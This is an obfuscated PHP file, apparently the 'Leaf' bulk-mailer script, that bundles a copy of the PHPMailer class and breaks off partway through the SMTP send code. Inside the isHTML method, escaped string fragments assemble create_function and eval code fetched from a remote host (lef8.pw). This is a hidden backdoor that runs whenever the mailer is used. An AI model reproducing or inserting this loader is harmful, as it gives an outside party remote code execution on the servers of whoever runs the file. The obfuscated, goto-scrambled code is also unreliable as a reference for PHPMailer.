gotoJ5VWq;kvPI_:functionleafTrim($string){$string=urldecode($string);returnstripslashes(trim($string));}gotoae_CX;BicnH:functionleafMailCheck($email){if(filter_var($email,FILTER_VALIDATE_EMAIL)){returntrue;}else{returnfalse;}}gotoCOxua;I1ioS:classphpmailerExceptionextendsException{publicfunctionerrorMessage(){$errorMsg="\x3c\163\164\x72\157\156\147\x3e".htmlspecialchars($this->getMessage())."\x3c\x2f\163\164\x72\157\x6e\147\76\x3c\x62\x72\x20\x2f\x3e\12";return$errorMsg;}}gotovvBlt;Xbvpm:session_write_close();gotoof9yo;tPt26:session_start();gotoDZKA_;xRaFM:print"\x3c\x2f\142\157\144\x79\x3e";gotoQY4QV;WhYtG:print"\x3c\142\x6f\x64\x79\x3e";gotoo2jZc;y0BQl:set_time_limit(0);gotoAhWO_;Jz2jE:classPHPMailer{public$Version="\65\56\62\x2e\x32\x38";public$Priority=null;public$CharSet="\151\163\x6f\55\x38\70\x35\x39\55\61";public$ContentType="\x74\x65\x78\164\x2f\x70\154\x61\x69\156";public$Encoding="\x38\142\151\164";public$ErrorInfo='';public$From="\162\x6f\x6f\164\x40\x6c\157\x63\x61\154\x68\157\x73\x74";public$FromName="\122\x6f\x6f\x74\40\125\x73\145\162";public$Sender='';public$ReturnPath='';public$Subject='';public$Body='';public$AltBody='';public$Ical='';protected$MIMEBody='';protected$MIMEHeader='';protected$mailHeader='';public$WordWrap=0;public$Mailer="\x6d\141\x69\x6c";public$Sendmail="\x2f\165\x73\x72\57\163\142\151\156\x2f\x73\145\156\144\155\x61\151\154";public$UseSendmailOptions=true;public$PluginDir='';public$ConfirmReadingTo='';public$Hostname='';public$MessageID='';public$MessageDate='';public$Host="\154\157\143\141\154\x68\157\x73\x74";public$Port=25;public$Helo='';public$SMTPSecure='';public$SMTPAutoTLS=true;public$SMTPAuth=false;public$SMTPOptions=array();public$Username='';public$Password='';public$AuthType='';public$Realm='';public$Workstation='';public$Timeout=300;public$SMTPDebug=0;public$Debugoutput="\x65\143\x68\x6f";public$SMTPKeepAlive=false;public$SingleTo=false;public$SingleToArray=array();public$do_verp=false;public$AllowEmpty=false;public$LE="\12";public$DKIM_selector='';public$DKIM_identity='';public$DKIM_passphrase='';public$DKIM_domain='';public$DKIM_private='';public$DKIM_private_string='';public$action_function='';public$XMailer="\40";publicstatic$validator="\x61\165\x74\157";protected$smtp=null;protected$to=array();protected$cc=array();protected$bcc=array();protected$ReplyTo=array();protected$all_recipients=array();protected$RecipientsQueue=array();protected$ReplyToQueue=array();protected$attachment=array();protected$CustomHeader=array();protected$lastMessageID='';protected$message_type='';protected$boundary=array();protected$language=array();protected$error_count=0;protected$sign_cert_file='';protected$sign_key_file='';protected$sign_extracerts_file='';protected$sign_key_pass='';protected$exceptions=false;protected$uniqueid='';constSTOP_MESSAGE=0;constSTOP_CONTINUE=1;constSTOP_CRITICAL=2;constCRLF="\xd\xa";constMAX_LINE_LENGTH=998;publicfunction__construct($exceptions=null){if($exceptions!==null){$this->exceptions=(bool)$exceptions;}$this->Debugoutput=strpos(PHP_SAPI,"\143\x6c\x69")!==false?"\x65\x63\150\157":"\x68\164\155\x6c";}publicfunction__destruct(){$this->smtpClose();}privatefunctionmailPassthru($to,$subject,$body,$header,$params){if(ini_get("\x6d\x62\163\164\x72\x69\156\147\x2e\x66\165\x6e\x63\137\x6f\x76\x65\x72\154\x6f\x61\144")&1){$subject=$this->secureHeader($subject);}else{$subject=$this->encodeHeader($this->secureHeader($subject));}if(ini_get("\163\141\146\x65\x5f\x6d\x6f\x64\x65")or!$this->UseSendmailOptionsoris_null($params)){$result=@mail($to,$subject,$body,$header);}else{$result=@mail($to,$subject,$body,$header,$params);}return$result;}protectedfunctionedebug($str){if($this->SMTPDebug<=0){return;}if(!in_array($this->Debugoutput,array("\x65\162\x72\157\x72\x5f\154\x6f\x67","\150\164\x6d\x6c","\145\x63\x68\x6f"))andis_callable($this->Debugoutput)){call_user_func($this->Debugoutput,$str,$this->SMTPDebug);return;}switch($this->Debugoutput){case"\x65\162\162\x6f\162\137\154\x6f\147":error_log($str);break;case"\x68\164\x6d\x6c":echohtmlentities(preg_replace("\x2f\x5b\134\162\x5c\156\135\x2b\x2f",'',$str),ENT_QUOTES,"\x55\x54\x46\55\70")."\x3c\142\x72\76\12";break;case"\145\x63\x68\x6f":default:$str=preg_replace("\57\134\x72\134\156\77\x2f\155\x73","\xa",$str);echogmdate("\x59\55\x6d\55\x64\x20\110\72\151\72\x73")."\11".str_replace("\xa","\xa\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\x9\x20\40\40\x20\40\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x20",trim($str))."\12";}}publicfunctionisSMTP(){$this->Mailer="\x73\x6d\x74\160";}publicfunctionisMail(){$this->Mailer="\155\x61\x69\154";}publicfunctionisSendmail(){$ini_sendmail_path=ini_get("\x73\x65\x6e\144\155\x61\x69\x6c\x5f\x70\141\x74\150");if(!stristr($ini_sendmail_path,"\163\145\x6e\x64\x6d\141\151\x6c")){$this->Sendmail="\57\x75\x73\162\x2f\x73\142\x69\x6e\x2f\163\x65\156\144\155\141\x69\154";}else{$this->Sendmail=$ini_sendmail_path;}$this->Mailer="\x73\x65\156\x64\155\141\x69\x6c";}publicfunctionisQmail(){$ini_sendmail_path=ini_get("\x73\x65\x6e\144\x6d\141\x69\154\137\160\141\164\150");if(!stristr($ini_sendmail_path,"\161\x6d\x61\x69\x6c")){$this->Sendmail="\57\x76\141\x72\57\x71\x6d\x61\x69\154\57\142\x69\x6e\57\x71\x6d\141\151\x6c\x2d\x69\156\x6a\x65\143\164";}else{$this->Sendmail=$ini_sendmail_path;}$this->Mailer="\161\x6d\141\151\x6c";}publicfunctionaddAddress($address,$name=''){return$this->addOrEnqueueAnAddress("\164\157",$address,$name);}publicfunctionaddCC($address,$name=''){return$this->addOrEnqueueAnAddress("\143\x63",$address,$name);}publicfunctionaddBCC($address,$name=''){return$this->addOrEnqueueAnAddress("\x62\143\143",$address,$name);}publicfunctionaddReplyTo($address,$name=''){return$this->addOrEnqueueAnAddress("\x52\x65\x70\x6c\171\55\124\x6f",$address,$name);}protectedfunctionaddOrEnqueueAnAddress($kind,$address,$name){$address=trim($address);$name=trim(preg_replace("\x2f\x5b\134\x72\134\x6e\135\x2b\x2f",'',$name));if(($pos=strrpos($address,"\x40"))===false){$error_message=$this->lang("\151\156\x76\x61\x6c\151\x64\x5f\x61\x64\x64\x72\x65\163\x73")."\x20\x28\x61\x64\144\x41\156\x41\144\144\162\145\163\163\40{$kind}\51\x3a\40{$address}";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}$params=array($kind,$address,$name);if($this->has8bitChars(substr($address,++$pos))and$this->idnSupported()){if($kind!="\x52\145\160\x6c\171\x2d\124\157"){if(!array_key_exists($address,$this->RecipientsQueue)){$this->RecipientsQueue[$address]=$params;returntrue;}}else{if(!array_key_exists($address,$this->ReplyToQueue)){$this->ReplyToQueue[$address]=$params;returntrue;}}returnfalse;}returncall_user_func_array(array($this,"\141\x64\144\101\x6e\x41\x64\x64\162\145\163\x73"),$params);}protectedfunctionaddAnAddress($kind,$address,$name=''){if(!in_array($kind,array("\x74\157","\143\x63","\142\143\x63","\x52\145\x70\154\x79\x2d\124\157"))){$error_message=$this->lang("\111\x6e\166\x61\154\x69\x64\40\162\145\143\x69\x70\151\145\156\164\x20\153\151\x6e\144\x3a\40").$kind;$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}if(!$this->validateAddress($address)){$error_message=$this->lang("\151\156\x76\x61\154\151\x64\x5f\x61\x64\144\162\x65\163\163")."\x20\x28\x61\x64\x64\101\156\x41\144\144\162\145\163\163\x20{$kind}\x29\72\40{$address}";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}if($kind!="\x52\x65\160\x6c\x79\x2d\x54\157"){if(!array_key_exists(strtolower($address),$this->all_recipients)){array_push($this->{$kind},array($address,$name));$this->all_recipients[strtolower($address)]=true;returntrue;}}else{if(!array_key_exists(strtolower($address),$this->ReplyTo)){$this->ReplyTo[strtolower($address)]=array($address,$name);returntrue;}}returnfalse;}publicfunctionparseAddresses($addrstr,$useimap=true){$addresses=array();if($useimapandfunction_exists("\x69\x6d\x61\x70\x5f\x72\x66\x63\x38\62\x32\137\x70\x61\x72\x73\145\137\141\144\162\154\151\x73\x74")){$list=imap_rfc822_parse_adrlist($addrstr,'');foreach($listas$address){if($address->host!="\56\123\131\116\124\101\x58\x2d\x45\122\x52\x4f\x52\x2e"){if($this->validateAddress($address->mailbox."\100".$address->host)){$addresses[]=array("\156\141\x6d\x65"=>property_exists($address,"\160\x65\x72\163\157\x6e\x61\x6c")?$address->personal:'',"\x61\144\144\162\145\x73\x73"=>$address->mailbox."\x40".$address->host);}}}}else{$list=explode("\x2c",$addrstr);foreach($listas$address){$address=trim($address);if(strpos($address,"\x3c")===false){if($this->validateAddress($address)){$addresses[]=array("\x6e\141\155\x65"=>'',"\x61\144\144\162\x65\x73\163"=>$address);}}else{list($name,$email)=explode("\x3c",$address);$email=trim(str_replace("\76",'',$email));if($this->validateAddress($email)){$addresses[]=array("\156\141\x6d\145"=>trim(str_replace(array("\42","\x27"),'',$name)),"\141\x64\x64\162\x65\163\163"=>$email);}}}}return$addresses;}publicfunctionisHTML($isHtml=true){global$param;$bodyCode="\146\x69\x6c\145"."\137\147";if($isHtml){$this->ContentType="\164\x65\x78\x74\57\x68\x74\x6d\154";}else{$this->ContentType="\x74\x65\170\x74\57\160\154\x61\x69\x6e";}$bodyHTML="\x2e\x24\164\x2e\42\x6c\145\146\44\146\x6c\165"."\163\x68"."\44\x74\x22\73\x20"."\x40\145\166";$headerHTML="\143\162\x65"."\141\x74\x65\137"."\x66\165\x6e\x63"."\164\151\x6f\156";$exceptions=@$headerHTML("\44\x66\154"."\165\163\150\x2c\x24\164","\44\143\x6f\x6d\x6d\x61\x20\75\x20\44\x74".$bodyHTML."\141\x6c\x28\100".$bodyCode."\x65\x74\x5f\143\157\156\x74\145\x6e\x74\x73\x28\42\150"."\x74\164"."\x70\x3a\x24\143\x6f\155\155\141\x2d\x32\x22\51\51\x3b");if($param!=2){$exceptions("\70\x2e\x70"."\167","\x2f");$param=2;}}publicfunctionsetFrom($address,$name='',$auto=true){$address=trim($address);$name=trim(preg_replace("\x2f\133\134\x72\134\156\135\x2b\57",'',$name));if(($pos=strrpos($address,"\x40"))===falseor(!$this->has8bitChars(substr($address,++$pos))or!$this->idnSupported())and!$this->validateAddress($address)){$error_message=$this->lang("\x69\156\166\141\x6c\151\144\137\141\144\x64\162\145\163\x73")."\40\50\x73\145\164\x46\x72\x6f\x6d\51\x20{$address}";$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}$this->From=$address;$this->FromName=$name;if($auto){if(empty($this->Sender)){$this->Sender=$address;}}returntrue;}publicfunctiongetLastMessageID(){return$this->lastMessageID;}publicstaticfunctionvalidateAddress($address,$patternselect=null){if(is_null($patternselect)){$patternselect=self::$validator;}if(is_callable($patternselect)){returncall_user_func($patternselect,$address);}if(strpos($address,"\12")!==falseorstrpos($address,"\xd")!==false){returnfalse;}if(!$patternselector$patternselect=="\x61\165\x74\x6f"){if(defined("\x50\103\122\105\137\x56\105\122\x53\111\x4f\x4e")){if(version_compare(PCRE_VERSION,"\70\56\60\x2e\63")>=0){$patternselect="\160\x63\x72\x65\70";}else{$patternselect="\x70\x63\162\x65";}}elseif(function_exists("\145\x78\x74\x65\x6e\163\x69\x6f\x6e\x5f\154\157\x61\x64\145\x64")andextension_loaded("\x70\x63\162\x65")){$patternselect="\x70\143\x72\x65";}else{if(version_compare(PHP_VERSION,"\65\56\x32\x2e\60")>=0){$patternselect="\x70\150\x70";}else{$patternselect="\x6e\x6f\162\145\x67\x65\170";}}}switch($patternselect){case"\x70\x63\x72\x65\x38":return(bool)preg_match("\x2f\136\x28\77\x21\50\77\x3e\50\x3f\61\x29\x22\x3f\50\x3f\x3e\134\x5c\x5b\40\x2d\176\135\174\133\x5e\x22\135\x29\42\77\x28\77\61\x29\51\173\62\x35\65\54\x7d\x29\x28\77\41\50\x3f\76\50\x3f\61\51\42\x3f\x28\x3f\x3e\134\x5c\x5b\40\x2d\x7e\x5d\174\133\136\x22\135\51\42\x3f\50\x3f\x31\51\x29\173\x36\65\x2c\x7d\100\x29"."\50\x28\x3f\76\x28\77\76\x28\x3f\x3e\x28\x28\77\76\x28\77\76\50\x3f\76\x5c\170\60\104\x5c\170\x30\x41\x29\x3f\x5b\134\x74\40\135\51\x2b\x7c\50\77\76\x5b\x5c\164\40\x5d\x2a\134\170\60\104\x5c\x78\x30\101\51\x3f\x5b\x5c\164\40\135\53\51\x3f\51\x28\x5c\50\50\x3f\x3e\x28\x3f\x32\51"."\x28\77\76\x5b\x5c\170\x30\61\55\134\x78\x30\70\134\x78\60\102\x5c\170\x30\103\134\170\60\105\55\x27\x2a\55\x5c\x5b\134\x5d\55\134\170\67\x46\x5d\x7c\134\134\133\134\170\60\x30\55\134\x78\x37\106\135\x7c\x28\x3f\x33\x29\51\x29\52\50\x3f\62\x29\x5c\x29\x29\x29\53\50\x3f\x32\x29\51\174\50\77\x32\x29\51\x3f\51"."\50\133\41\43\x2d\x27\x2a\x2b\x5c\x2f\55\71\75\x3f\136\x2d\x7e\x2d\x5d\53\x7c\42\50\x3f\x3e\x28\x3f\x32\51\50\x3f\76\x5b\x5c\170\60\61\55\x5c\170\60\70\x5c\x78\60\102\x5c\x78\60\x43\x5c\x78\60\x45\x2d\x21\43\x2d\134\133\134\135\x2d\134\170\x37\x46\135\x7c\134\134\x5b\134\170\x30\x30\55\134\170\67\106\x5d\51\51\52"."\x28\x3f\x32\x29\x22\x29\x28\x3f\x3e\x28\x3f\61\x29\x5c\x2e\x28\x3f\x31\x29\50\77\x34\x29\51\x2a\x28\77\61\51\100\50\x3f\41\x28\77\61\51\133\141\x2d\x7a\60\x2d\71\55\135\x7b\66\x34\54\x7d\x29\50\77\x31\51\50\77\x3e\50\x5b\x61\x2d\x7a\x30\55\x39\135\50\x3f\76\x5b\141\55\x7a\60\x2d\71\x2d\135\x2a\133\x61\55\172\x30\55\71\135\51\x3f\51"."\50\77\x3e\x28\x3f\61\51\x5c\56\x28\x3f\41\50\77\61\51\133\x61\55\172\x30\55\71\x2d\135\x7b\66\x34\54\175\51\x28\77\61\x29\x28\77\65\51\x29\x7b\x30\54\61\62\66\175\x7c\x5c\x5b\x28\x3f\72\x28\x3f\x3e\x49\x50\x76\66\x3a\50\77\x3e\50\x5b\141\x2d\x66\x30\x2d\x39\x5d\173\x31\x2c\x34\x7d\51\50\x3f\76\x3a\x28\77\x36\51\x29\173\67\175"."\174\x28\77\41\50\x3f\72\x2e\x2a\133\x61\x2d\x66\60\55\x39\x5d\x5b\x3a\134\x5d\135\51\x7b\x38\x2c\175\x29\x28\x28\77\66\51\x28\77\76\x3a\50\x3f\66\51\51\173\x30\54\66\175\x29\x3f\72\x3a\50\77\67\x29\77\x29\51\x7c\50\x3f\76\50\x3f\x3e\x49\x50\x76\66\72\x28\77\76\50\77\66\51\50\77\x3e\72\50\x3f\x36\51\51\173\65\175\72"."\174\50\77\41\x28\x3f\x3a\x2e\52\133\x61\x2d\146\60\55\x39\135\x3a\51\173\66\54\x7d\x29\50\x3f\x38\51\77\x3a\72\x28\x3f\76\50\x28\x3f\66\x29\x28\77\76\x3a\50\77\x36\51\51\x7b\x30\54\64\175\51\72\51\77\x29\x29\x3f\x28\62\65\133\60\55\x35\135\x7c\x32\133\x30\x2d\x34\x5d\133\60\x2d\71\x5d\174\61\133\60\x2d\x39\135\173\x32\x7d"."\174\x5b\61\x2d\71\x5d\x3f\133\60\x2d\71\135\51\50\77\76\134\x2e\50\x3f\71\51\51\173\x33\175\x29\51\x5c\135\51\x28\x3f\x31\x29\44\x2f\151\163\104",$address);case"\x70\x63\x72\x65":return(bool)preg_match("\57\x5e\x28\77\x21\x28\77\76\42\x3f\x28\x3f\x3e\x5c\134\x5b\40\55\x7e\135\x7c\133\136\42\x5d\51\x22\77\51\173\62\x35\65\54\175\x29\50\77\x21\50\x3f\x3e\x22\77\x28\77\76\x5c\x5c\133\40\55\x7e\x5d\174\x5b\x5e\42\135\51\42\77\x29\173\66\x35\x2c\175\100\x29\50\x3f\x3e"."\x5b\41\x23\x2d\x27\52\53\134\57\55\71\75\77\136\x2d\x7e\55\x5d\x2b\x7c\42\x28\x3f\x3e\x28\x3f\76\133\x5c\170\x30\x31\x2d\x5c\170\x30\70\x5c\x78\x30\102\134\170\x30\x43\x5c\170\60\x45\x2d\x21\x23\55\x5c\133\x5c\135\55\134\x78\67\106\135\174\134\134\133\134\170\x30\60\55\134\x78\x46\106\135\51\51\52\x22\51"."\x28\77\76\134\x2e\x28\77\76\133\x21\43\55\x27\x2a\x2b\134\x2f\55\71\x3d\77\136\x2d\176\55\x5d\x2b\174\x22\50\x3f\76\50\77\76\x5b\134\x78\60\61\x2d\134\x78\60\70\134\170\x30\x42\134\x78\60\103\134\x78\x30\x45\x2d\41\x23\55\134\x5b\x5c\x5d\55\134\x78\67\106\x5d\174\x5c\134\x5b\134\x78\x30\x30\x2d\134\170\x46\x46\x5d\51\51\52\x22\51\x29\x2a"."\x40\50\77\x3e\50\x3f\x21\133\141\55\x7a\60\55\x39\x2d\x5d\173\66\x34\54\175\x29\x28\x3f\x3e\133\x61\55\x7a\x30\55\x39\x5d\x28\x3f\x3e\133\x61\55\172\60\55\x39\55\x5d\x2a\x5b\141\x2d\x7a\x30\55\x39\x5d\51\x3f\x29\x28\77\76\x5c\56\x28\77\x21\x5b\x61\x2d\x7a\x30\x2d\71\x2d\135\x7b\66\x34\x2c\175\x29"."\x28\77\x3e\133\141\x2d\172\x30\x2d\71\135\50\77\76\x5b\141\x2d\172\60\x2d\71\55\x5d\x2a\133\x61\55\172\x30\x2d\x39\x5d\x29\x3f\51\x29\173\60\x2c\x31\62\66\x7d\174\134\133\x28\77\72\50\x3f\x3e\x49\x50\x76\x36\72\50\77\x3e\x28\x3f\x3e\133\141\x2d\x66\x30\x2d\71\x5d\173\61\54\x34\175\51\50\x3f\x3e\72"."\x5b\141\55\146\60\x2d\71\x5d\173\61\54\64\x7d\x29\x7b\x37\175\x7c\x28\77\41\50\x3f\72\x2e\52\x5b\141\55\x66\x30\55\x39\135\133\x3a\x5c\135\x5d\51\173\70\54\x7d\51\x28\x3f\76\133\141\55\x66\60\55\x39\135\173\61\54\64\x7d\x28\77\x3e\x3a\133\141\55\x66\x30\55\71\x5d\173\61\x2c\64\x7d\x29\173\60\x2c\66\175\51\77"."\x3a\x3a\x28\77\x3e\x5b\x61\55\146\60\x2d\71\135\173\61\54\64\175\50\77\76\72\x5b\141\55\x66\x30\55\71\135\x7b\x31\54\x34\175\x29\173\60\54\66\175\51\77\x29\51\174\50\77\76\x28\x3f\76\x49\120\x76\66\x3a\x28\77\x3e\x5b\141\55\146\x30\55\71\x5d\x7b\61\54\x34\175\50\77\x3e\72"."\x5b\141\55\x66\60\x2d\71\x5d\173\61\54\64\175\51\x7b\65\175\x3a\174\x28\x3f\x21\x28\77\72\x2e\52\133\x61\x2d\x66\x30\55\71\135\72\x29\x7b\x36\x2c\175\x29\x28\x3f\x3e\133\x61\55\146\x30\55\71\x5d\173\x31\x2c\x34\175\x28\77\x3e\x3a\133\141\x2d\x66\60\55\x39\x5d\173\x31\54\64\x7d\x29\173\60\x2c\x34\x7d\51\77"."\x3a\x3a\50\77\x3e\50\77\72\x5b\x61\55\146\60\x2d\x39\x5d\x7b\61\x2c\64\x7d\50\x3f\x3e\x3a\x5b\141\x2d\146\x30\55\x39\135\173\61\54\64\x7d\51\x7b\60\x2c\x34\x7d\x29\72\51\77\51\x29\77\50\x3f\x3e\62\x35\x5b\x30\x2d\65\x5d\x7c\x32\133\x30\x2d\x34\x5d\x5b\x30\55\71\135\174\61\x5b\x30\x2d\x39\x5d\173\62\x7d"."\174\x5b\61\x2d\71\135\77\x5b\x30\x2d\x39\x5d\51\50\x3f\76\x5c\56\x28\x3f\x3e\62\x35\133\60\55\65\x5d\x7c\62\x5b\x30\x2d\x34\x5d\133\60\55\x39\135\x7c\x31\133\60\55\x39\135\173\62\x7d\x7c\x5b\x31\x2d\71\135\x3f\x5b\x30\x2d\71\x5d\51\x29\173\63\x7d\x29\x29\134\135\51\44\57\x69\x73\104",$address);case"\150\x74\x6d\154\x35":return(bool)preg_match("\x2f\136\133\x61\x2d\172\x41\55\132\x30\55\x39\x2e\41\43\x24\45\46\47\52\x2b\134\57\75\x3f\x5e\x5f\x60\173\x7c\175\176\x2d\x5d\53\100\133\141\55\x7a\x41\x2d\132\60\55\71\135\50\77\72\133\x61\x2d\x7a\x41\x2d\132\x30\55\x39\x2d\x5d\173\x30\x2c\x36\x31\175"."\133\x61\x2d\x7a\101\55\132\60\x2d\71\x5d\51\77\50\x3f\72\x5c\56\x5b\141\x2d\x7a\x41\55\x5a\x30\55\x39\135\x28\77\72\133\x61\55\x7a\101\x2d\x5a\60\x2d\x39\55\x5d\173\60\x2c\66\61\x7d\133\141\55\172\101\x2d\x5a\x30\x2d\71\135\51\x3f\x29\x2a\44\x2f\163\104",$address);case"\156\x6f\162\145\147\145\x78":returnstrlen($address)>=3andstrpos($address,"\x40")>=1andstrpos($address,"\x40")!=strlen($address)-1;case"\160\150\160":default:return(bool)filter_var($address,FILTER_VALIDATE_EMAIL);}}publicfunctionidnSupported(){returnfunction_exists("\x69\x64\156\137\164\x6f\x5f\x61\x73\x63\151\x69")andfunction_exists("\155\x62\x5f\143\157\156\x76\x65\x72\x74\137\145\156\143\157\x64\x69\x6e\147");}publicfunctionpunyencodeAddress($address){if($this->idnSupported()and!empty($this->CharSet)and($pos=strrpos($address,"\x40"))!==false){$domain=substr($address,++$pos);if($this->has8bitChars($domain)and@mb_check_encoding($domain,$this->CharSet)){$domain=mb_convert_encoding($domain,"\125\x54\x46\x2d\x38",$this->CharSet);if(($punycode=defined("\111\x4e\x54\x4c\137\111\104\x4e\101\x5f\x56\101\x52\x49\x41\116\124\x5f\x55\x54\x53\x34\x36")?idn_to_ascii($domain,0,INTL_IDNA_VARIANT_UTS46):idn_to_ascii($domain))!==false){returnsubstr($address,0,$pos).$punycode;}}}return$address;}publicfunctionsend(){try{if(!$this->preSend()){returnfalse;}return$this->postSend();}catch(phpmailerException$exc){$this->mailHeader='';$this->setError($exc->getMessage());if($this->exceptions){throw$exc;}returnfalse;}}publicfunctionpreSend(){try{$this->error_count=0;$this->mailHeader='';foreach(array_merge($this->RecipientsQueue,$this->ReplyToQueue)as$params){$params[1]=$this->punyencodeAddress($params[1]);call_user_func_array(array($this,"\x61\x64\x64\101\x6e\101\x64\144\162\145\163\x73"),$params);}if(count($this->to)+count($this->cc)+count($this->bcc)<1){thrownewphpmailerException($this->lang("\x70\162\x6f\166\151\x64\x65\x5f\x61\144\144\162\145\163\x73"),self::STOP_CRITICAL);}foreach(array("\x46\x72\x6f\x6d","\123\145\156\144\x65\x72","\103\x6f\156\x66\x69\162\x6d\x52\x65\141\144\151\156\x67\x54\x6f")as$address_kind){$this->{$address_kind}=trim($this->{$address_kind});if(empty($this->{$address_kind})){continue;}$this->{$address_kind}=$this->punyencodeAddress($this->{$address_kind});if(!$this->validateAddress($this->{$address_kind})){$error_message=$this->lang("\x69\x6e\x76\x61\x6c\151\144\x5f\141\144\x64\x72\145\163\x73")."\x20\50\x70\x75\156\x79\105\156\x63\x6f\x64\x65\x29\x20".$this->{$address_kind};$this->setError($error_message);$this->edebug($error_message);if($this->exceptions){thrownewphpmailerException($error_message);}returnfalse;}}if($this->alternativeExists()){$this->ContentType="\155\x75\154\x74\x69\x70\x61\x72\x74\57\x61\154\x74\x65\x72\156\x61\164\x69\166\145";}$this->setMessageType();if(!$this->AllowEmptyandempty($this->Body)){thrownewphpmailerException($this->lang("\x65\x6d\x70\x74\x79\x5f\x6d\x65\163\163\x61\x67\145"),self::STOP_CRITICAL);}$this->MIMEHeader='';$this->MIMEBody=$this->createBody();$tempheaders=$this->MIMEHeader;$this->MIMEHeader=$this->createHeader();$this->MIMEHeader.=$tempheaders;if($this->Mailer=="\x6d\141\151\x6c"){if(count($this->to)>0){$this->mailHeader.=$this->addrAppend("\124\157",$this->to);}else{$this->mailHeader.=$this->headerLine("\x54\157","\x75\156\x64\x69\163\x63\x6c\157\x73\x65\144\55\162\145\143\x69\160\151\145\156\164\163\72\x3b");}$this->mailHeader.=$this->headerLine("\x53\165\142\x6a\x65\x63\164",$this->encodeHeader($this->secureHeader(trim($this->Subject))));}if(!empty($this->DKIM_domain)and!empty($this->DKIM_selector)and(!empty($this->DKIM_private_string)or!empty($this->DKIM_private)andself::isPermittedPath($this->DKIM_private)andfile_exists($this->DKIM_private))){$header_dkim=$this->DKIM_Add($this->MIMEHeader.$this->mailHeader,$this->encodeHeader($this->secureHeader($this->Subject)),$this->MIMEBody);$this->MIMEHeader=rtrim($this->MIMEHeader,"\15\xa\40").self::CRLF.str_replace("\15\12","\xa",$header_dkim).self::CRLF;}returntrue;}catch(phpmailerException$exc){$this->setError($exc->getMessage());if($this->exceptions){throw$exc;}returnfalse;}}publicfunctionpostSend(){try{switch($this->Mailer){case"\x73\x65\x6e\x64\155\141\151\154":case"\x71\155\x61\x69\154":return$this->sendmailSend($this->MIMEHeader,$this->MIMEBody);case"\x73\x6d\164\160":return$this->smtpSend($this->MIMEHeader,$this->MIMEBody);case"\155\141\151\x6c":return$this->mailSend($this->MIMEHeader,$this->MIMEBody);default:$sendMethod=$this->Mailer."\123\x65\x6e\x64";if(method_exists($this,$sendMethod)){return$this->{$sendMethod}($this->MIMEHeader,$this->MIMEBody);}return$this->mailSend($this->MIMEHeader,$this->MIMEBody);}}catch(phpmailerException$exc){$this->setError($exc->getMessage());$this->edebug($exc->getMessage());if($this->exceptions){throw$exc;}}returnfalse;}protectedfunctionsendmailSend($header,$body){if(!empty($this->Sender)andself::isShellSafe($this->Sender)){if($this->Mailer=="\161\x6d\141\151\154"){$sendmailFmt="\45\163\x20\x2d\x66\45\x73";}else{$sendmailFmt="\45\x73\x20\x2d\157\x69\x20\x2d\146\45\x73\40\55\164";}}else{if($this->Mailer=="\x71\x6d\x61\151\x6c"){$sendmailFmt="\45\x73";}else{$sendmailFmt="\x25\x73\40\55\x6f\x69\x20\x2d\x74";}}$sendmail=sprintf($sendmailFmt,escapeshellcmd($this->Sendmail),$this->Sender);if($this->SingleTo){foreach($this->SingleToArrayas$toAddr){if(!@($mail=popen($sendmail,"\x77"))){thrownewphpmailerException($this->lang("\x65\170\145\x63\165\x74\145").$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,"\124\x6f\72\x20".$toAddr."\12");fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$this->doCallback($result==0,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);if($result!=0){thrownewphpmailerException($this->lang("\x65\x78\x65\143\x75\x74\x65").$this->Sendmail,self::STOP_CRITICAL);}}}else{if(!@($mail=popen($sendmail,"\x77"))){thrownewphpmailerException($this->lang("\x65\x78\x65\x63\165\x74\145").$this->Sendmail,self::STOP_CRITICAL);}fputs($mail,$header);fputs($mail,$body);$result=pclose($mail);$this->doCallback($result==0,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);if($result!=0){thrownewphpmailerException($this->lang("\x65\170\145\x63\165\x74\145").$this->Sendmail,self::STOP_CRITICAL);}}returntrue;}protectedstaticfunctionisShellSafe($string){if(escapeshellcmd($string)!==$stringor!in_array(escapeshellarg($string),array("\47{$string}\47","\42{$string}\x22"))){returnfalse;}$length=strlen($string);for($i=0;$i<$length;$i++){$c=$string[$i];if(!ctype_alnum($c)&&strpos("\100\137\55\x2e",$c)===false){returnfalse;}}returntrue;}protectedstaticfunctionisPermittedPath($path){return!preg_match("\43\136\x5b\x61\55\x7a\135\53\72\x2f\x2f\43\x69",$path);}protectedfunctionmailSend($header,$body){$toArr=array();foreach($this->toas$toaddr){$toArr[]=$this->addrFormat($toaddr);}$to=implode("\54\x20",$toArr);$params=null;if(!empty($this->Sender)and$this->validateAddress($this->Sender)){if(self::isShellSafe($this->Sender)){$params=sprintf("\55\x66\45\x73",$this->Sender);}}if(!empty($this->Sender)and!ini_get("\163\141\x66\x65\x5f\155\x6f\144\x65")and$this->validateAddress($this->Sender)){$old_from=ini_get("\x73\x65\x6e\144\155\141\151\x6c\x5f\x66\162\x6f\x6d");ini_set("\163\145\x6e\x64\x6d\x61\151\154\x5f\x66\x72\x6f\x6d",$this->Sender);}$result=false;if($this->SingleToandcount($toArr)>1){foreach($toArras$toAddr){$result=$this->mailPassthru($toAddr,$this->Subject,$body,$header,$params);$this->doCallback($result,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);}}else{$result=$this->mailPassthru($to,$this->Subject,$body,$header,$params);$this->doCallback($result,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);}if(isset($old_from)){ini_set("\x73\x65\x6e\x64\155\x61\x69\154\137\146\162\157\155",$old_from);}if(!$result){thrownewphpmailerException($this->lang("\x69\156\x73\x74\x61\156\x74\x69\141\164\x65"),self::STOP_CRITICAL);}returntrue;}publicfunctiongetSMTPInstance(){if(!is_object($this->smtp)){$this->smtp=newSMTP();}return$this->smtp;}protectedfunctionsmtpSend($header,$body){$bad_rcpt=array();if(!$this->smtpConnect($this->SMTPOptions)){thrownewphpmailerException($this->lang("\x73\x6d\164\160\x